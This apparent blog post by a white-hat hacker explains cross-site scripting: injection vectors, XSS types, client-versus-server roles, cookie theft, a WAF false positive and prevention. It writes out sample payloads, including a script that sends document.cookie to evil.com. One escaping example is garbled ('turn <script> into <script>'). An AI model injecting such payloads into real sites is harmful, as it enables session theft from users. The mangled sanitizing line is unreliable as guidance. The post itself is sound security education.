As a white-hat hacker, mastering Cross-Site Scripting (XSS) is essential. It’s a crafty vulnerability that exploits trust—both the trust users place in a website and the trust a site has in its input handling. In this post, I’ll explain what XSS is, how it works, who it impacts, and tackle a common question about cookie theft. Let’s dive in.
What Is Cross-Site Scripting?
XSS is an attack where a malicious actor injects a script—typically JavaScript—into a legitimate website. When users visit, their browsers run this code as if it’s part of the site, leading to anything from pop-ups to stolen sessions. The “cross-site” part means the script crosses from the attacker’s domain into a trusted site’s context.
How Does XSS Work?
It’s all about exploiting poor input handling:
- Injection: An attacker finds a weak spot—like a comment field or URL—where they can insert <script>alert(‘Hacked!’);</script>.
- Delivery: The script is either stored on the server (Stored XSS) or reflected back in a response (Reflected XSS).
- Execution: The victim’s browser runs it, trusting the site’s origin.
Where Is the Script Injected?
The script can sneak in via:
- Request URI (Query String): Think Reflected XSS—e.g., https://example.com/search?query=<script>evil()</script>. The server reflects it back, and the victim’s browser executes it.
- Request Body: Common in Stored XSS—e.g., a POST request with <script>stealCookies()</script> in a form field. The server saves it, serving it to all visitors.
- Other Vectors: Headers, cookies, or file metadata (like EXIF in photos) can also carry scripts, though they’re trickier to exploit.
Who’s the Victim: Client or Server?
This trips up a lot of folks:
- Client (User): The main victim is the user. The script runs in their browser, stealing data or wreaking havoc. For example, <script>fetch(‘https://evil.com?cookie=’ + document.cookie);</script> grabs session cookies and sends them to the attacker’s server.
- Server: The server isn’t directly attacked—it doesn’t run the script or lose data. But it’s the enabler. By failing to sanitize input, it delivers the malicious code to the client. Without that vulnerability, the attack wouldn’t happen.
Cookie Theft: Does It Involve the Server?
Here’s a key nuance: When cookies are stolen and sent to a hacker’s server (e.g., evil.com), it might seem like the original server isn’t involved. After all, the browser sends the cookies directly to the attacker. But the server is part of the chain—it’s the one that allowed the script to reach the client. If the server had filtered out <script>, the browser wouldn’t have executed it, and no cookies would’ve been sent. So, while the server isn’t the target or destination, its role as the delivery mechanism is critical.
Why Login Sessions Are a Prime Target
XSS loves session cookies because they’re the keys to your account. Steal one, and the attacker can impersonate you—no password needed. But XSS isn’t limited to sessions—it can also deface sites, phish users, or snag form data.
Types of XSS: A Deeper Look
- Stored XSS: Saved on the server (e.g., a malicious comment) and served to everyone.
- Reflected XSS: Embedded in a URL or request, triggered by a victim’s click.
- DOM-Based XSS: Manipulates the page’s DOM entirely client-side—sneaky and server-independent once injected.
Real-World Scenario: Photo Uploads and AWS WAF
I recently saw a case where a client uploaded a photo, and AWS WAF flagged it as “Cross-Site Scripting Body.” Was it real?
- The Alert: WAF scans requests for XSS patterns (e.g., <script>). “Body” meant it flagged the upload or its metadata.
- Digging In: Photos don’t run scripts—they’re binary. I scanned the file: clean. The server didn’t render unfiltered text either.
- Conclusion: Probably a false positive. WAF might’ve overreacted to a weird file name or metadata. No script reached clients, so no harm—yet it shows how servers can unintentionally pass threats.
Prevention: A White-Hat’s Toolkit
- Server-Side: Sanitize inputs—turn <script> into <script>. Use frameworks that escape output.
- Client-Side: Deploy Content Security Policy (CSP) to block rogue scripts.
- Avoid Traps: Skip eval() or innerHTML with untrusted data.
Why White Hats Should Care
XSS mastery lets you:
- Test Thoroughly: Spot obscure injection points.
- Educate Teams: Show how a tiny flaw becomes a big breach.
- Protect Users: Clients suffer most—your skills keep them safe.
Final Thoughts
XSS is a client-side attack enabled by server-side flaws. Cookie theft might send data straight to a hacker, but it starts with the server serving up the script. As white hats, question every input, trace every output, and think like the attacker—because that’s how you’ll stop them.